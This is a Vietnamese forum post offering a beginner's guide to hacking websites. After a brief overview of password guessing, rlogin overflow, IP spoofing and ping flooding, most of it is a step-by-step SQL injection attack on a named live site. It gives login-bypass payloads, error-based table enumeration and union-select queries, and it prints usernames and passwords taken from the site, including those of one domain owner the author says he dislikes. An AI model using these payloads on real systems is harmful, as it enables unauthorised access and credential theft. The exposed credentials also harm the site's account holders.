Chia Sẽ Kinh Nghiệm Về IT



Tìm Kiếm Với Google
-


Gởi Ðề Tài Mới  Gửi trả lời
 
Công Cụ Xếp Bài
Tuổi 24-02-2010, 09:02 AM   #1
hoctinhoc
Guest
 
Trả Lời: n/a
khái Niệm về website,cách hack website cơ bãn.
khái Niệm về website,cách hack website cơ bãn



Có 2 nguyện nhân chính và gần như là hầu hết các lý do hack web hiện nay của các hackers:


1. Trang web cò nội dung ko lành mạnh, khiêu khích, phản đông.

2. Hack để giải trí, chứng mình mình là ngừoi có tài, tò mò, nói chung là phá hoại...

Mình chỉ nêu ra một số cách hack đơn giản thôi, đề phòng mọi ngừoi đi hack vo tội vạ, tuy là đơn giản nhưng để hiểu thì các bna5 phải chiu6 khó tìm tòi và mò mẫm, ko p ngày một ngày 2 thì hack dc ngay đâu. Mình chưa áp dụng thử cho forum mình, nhưng đã dò thử lỗi thì thấy một lô, nghĩa là có thể hack dc.

...............

Các phương thức tấn công cơ bản : :045::045:

1-Tấn công trực tiếp :


Đây là một phương pháp cổ điển dùng để dò tìm tên người sử dụng (user) và mật khẩu truy cập của họ (password).Phương pháp này khá đơn giản , dễ thực hiện và không đòi hỏi bất kì một điều kiện nào để bắt đầu.Chúng ta có thể sử dụng những thông tin như tên người dùng , ngày sinh , địa chỉ , số nhà ... để đoán mật khẩu.Trong trường hợp có được có được danh sách người sử dụng (user list ) và môi trường làm việc , một chương trình đoán mật khẩu sẽ được sử dụng. Nó hoạt động một cách tự động bằng cách sử dụng các tổ hợp các từ trong một từ điển lớn và theo những qui tắc mà người dùng định nghĩa.Khả năng thành công của phương pháp này có thể lên đến 30% (nếu bạn may mắn).Và khi thành công ta sẽ có được quyền Admin , Root.

Hai chương trình thường được dùng cho phương pháp này là chương trình Sendmail và Rlogin của hệ thống Unix.


Sendmail là một chương trình phức tạp với mã nguồn bao gồm hàng ngàn dòng lệnh C . Sendmail được chạy với quyền của người quản trị hệ thống do chương trình phải có quyền ghi vào hộp thư của người sử dụng. Vì

Sendmail nhận trực tiếp các yêu cầu về mạng thư tín bên ngoài nên nó trở thành nguồn cung cấp những lỗ hổng bảo mật để truy cập hệ thống.

Rlogin cho phép người sử dụng từ một máy trên mạng truy cập từ xa vào một máy khác sử dụng tài nguyên của máy này. Trong quá trình nhận tên và mật khẩu của người sử dụng , rlogin không kiểm tra độ dài dòng nhập nên ta có thể đưa vào một xâu lệnh đã được tính toán trước để ghi đè lên mã chương trình của Rlogin , từ đó chiếm quyền truy cập.

2-Giả mạo địa chỉ IP :
Việc này có thể thực hiện thông qua việc dẫn đường trực tiếp.Với các tấn công này , các hacker sẽ gởi các gói tin IP tới mạng bên trong với một địa chỉ IP giả (Thông thường là IP của một mạng hoặc một máy tính được coi là an toàn đối với mạng bên trong) ,đồng thời chỉ rõ đường dẫn má các gói tin IP phải gửi đi.


3-Vô hiệu các chức năng của hệ thống :

Đây là kiểu tấn công làm tê liệt hệ thống , không cho nó thực hiện các chức năng mà nó được thiết kế. Kiểu tấn công này không ngăn chặc được do các phương tiện để tấn công lại chính là những phương tiện để làm việc và truy cập thông tin trên mạng.Ví dụ như sử dụng lệnh ping với tốc độ cao nhất có thể buộc một hệ thống tiêu hao toàn bộ tốc độ tính toán và khả năng của mạng để trả lời các lệnh này , không còn tài nguyên để thực hiện những việc khác.

còn nữa...........
...........

Schumimỏi tay quá, các bạn làm ơn thank dùm cái nhé
-----------------------
.................................................. ..

Dưới đây mình chỉ trực yie6p1 luôn, chứ dài dòng thế kia cũng chả có ích gì nhỉ ...^^


Quá trình hack 1 website bị Sql Injection :

Trong bài viết này, mình sẽ có kèm theo quá trình inject một website và lý thuyết cơ bản về SQL injection để các bạn có thể hiểu rõ hơn. Nhưng có lẽ là chỉ cho newbie thôi, khi nào rỗi tôi sẽ viết và hướng dẫn advance sql injection, tất nhiên có kèm theo một site để các bạn thực hành.

Chúng ta hãy bắt đầu :
Sql injection đang dần phổ biến hiện nay, và có lẽ lỗi nhiều nhất vẫn là ở các site MS SQl. Nó rất nguy hiểm, nó cho phép chúng ta login mà không cần username và password, remote execution, dump data và truy xuất username + password ra ngoài bằng cách input các query/command vào input trước khi chuyển cho ứng dụng web xử lí. Để thử xem site đó có bị lỗi hay không, bạn thử input vào các field username và pass bằng :
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
'or''='

và còn rất nhiều nữa mình không tiện viết ở đây. Rất có thể bạn sẽ login được vào với quyền admin hoặc một user nào đó. Nhưng ở bài viết này tôi nói đến cách truy xuất username và password ra ngoài để chúng ta mặc nhiên vào trong CP.

Ở đây, tôi sẽ lấy ra một site bất kỳ, nhưng khi bạn muốn tấn công một trang nào đó thì lại khác, bạn phải bỏ công ra tìm link nhiễm.

Mục tiêu tấn công : http://www.naame.com/manageAccount/manaccount516.asp

Bây giờ để xác định xem có bị SQL injection không, bạn thử input các lệnh tôi liệt kê ở trên, không by pass login được bạn input thử dấu ngoặc đơn '

kết quả :

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '''.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33

thế là biết mục tiêu bị lỗi rồi nhé, bây giờ việc cần làm là lấy được ra các table name của nó, dùng : 'having 1=1-- .Bạn hãy để ý thấy dâu --, vâng trong MS SQL, tất cả các thứ sau -- sẽ bị loại bỏ.

Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Ok rồi : Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Vậy là ta lấy được 1 table rồi đó. Bước tiếp theo :

'GROUP BY LoginTable.Account having 1=1--

Nó báo :

Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'LoginTable.UserName' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Lại lấy được thêm một cột nữa rồi. Bạn thay vào : (thêm 1 cột và ngăn cách bằng dấu phẩy)

'GROUP BY LoginTable.Account, LoginTable.UserName having 1=1--

Bạn cứ làm thế để lấy các table của nó. Tôi đã lấy sẵn ra cho các bạn :

'group by LoginTable.Account, LoginTable.UserName, LoginTable.Password, LoginTable.DomainName, LoginTable.Credits, LoginTable.LoginType having 1=1--

Lấy được các table rồi thì làm gì Các các bạn nhìn vào cột "username" và "password" là thèm lắm rồi, muốn lấy ra ngay, híc, nhưng phải từ từ đã, đi đâu mà vội. Có được nó rồi, ta thử tìm một link bị lỗi (tìm nó trên thành address bằng cách thêm ' vào sau = hoặc =cái gì đó'). Nhưng mà ở trang này nó không có một link nào dính lỗi, thì ta lại dựa vào cái forum input vậy.

Ta thử nhé : (input vào field username và password rồi submit thử).

'union select min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h'--

hì, chắc các bạn sẽ hỏi mấy cái thằng 1,1,1,1,1 là gì sao lại đặt ở đó, nói nôm na và dễ hiểu cho newbie luôn là các bạn đếm xem có bao nhiêu cột ngoại trừ cột Username và thay cho mỗi cột đó là 1 . thế thôi. Còn thằng UserName > 'h' à, nó sẽ "xuất" ra một username bất kỳ bắt đầu bằng letter 'h' .

Nó báo :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'h20h20' to a column of data type int.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Cười tươi xem nào, có 1 thằng username làm cảnh rồi nhé. Muốn biết password của náo thì làm như sau :

'union select Password,1,1,1,1,1 from LoginTable where UserName = 'h20h20'--

ta thay sau UserName là dấu = 'username vừa lấy được'--

Nó báo :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'legogame' to a column of data type int.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Hì, password là legogame kìa, bạn login đi, còn chờ gì nữa.

* Note :

Nếu bạn muốn lấy thêm nhiều username khác thì :
'union select min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h20h20'--
nó sẽ lấy ra một username khác. Nếu bạn muốn username bắt đầu bằng B chẳng hạn, thì thay bằng 'b'-- thế thôi.
trong trường hợp bạn muốn tấn login vào một domain nào đó đinh trước thì thay cột DomainName vào cột UserName. Ví dụ , tôi ghét thằng maika, nó có cái domain là H0MES4RENT.com mua ở đó thì tôi muốn biết password của nó ta dùng :
'union select password,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'--

Nó báo :
Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Hì password là joepinguelo rồi nhé, lại lấy username của nó đi :

'union select UserName,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'--

Kết quả :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Và Username là joepinguelo


Login thử xem, Username : joepinguelo
Password : joepinguelo

Suu tap


  Trả lời ngay kèm theo trích dẫn này
Gửi trả lời



Quyền Hạn Của Bạn
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is Mở
Hình Cảm xúc đang Mở
[IMG] đang Mở
Mã HTML đang Tắt




Bây giờ là 02:31 AM. Giờ GMT +7



Diễn đàn tin học QuantriNet
quantrinet.com | quantrimang.co.cc
Founded by Trương Văn Phương | Developed by QuantriNet's members.
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.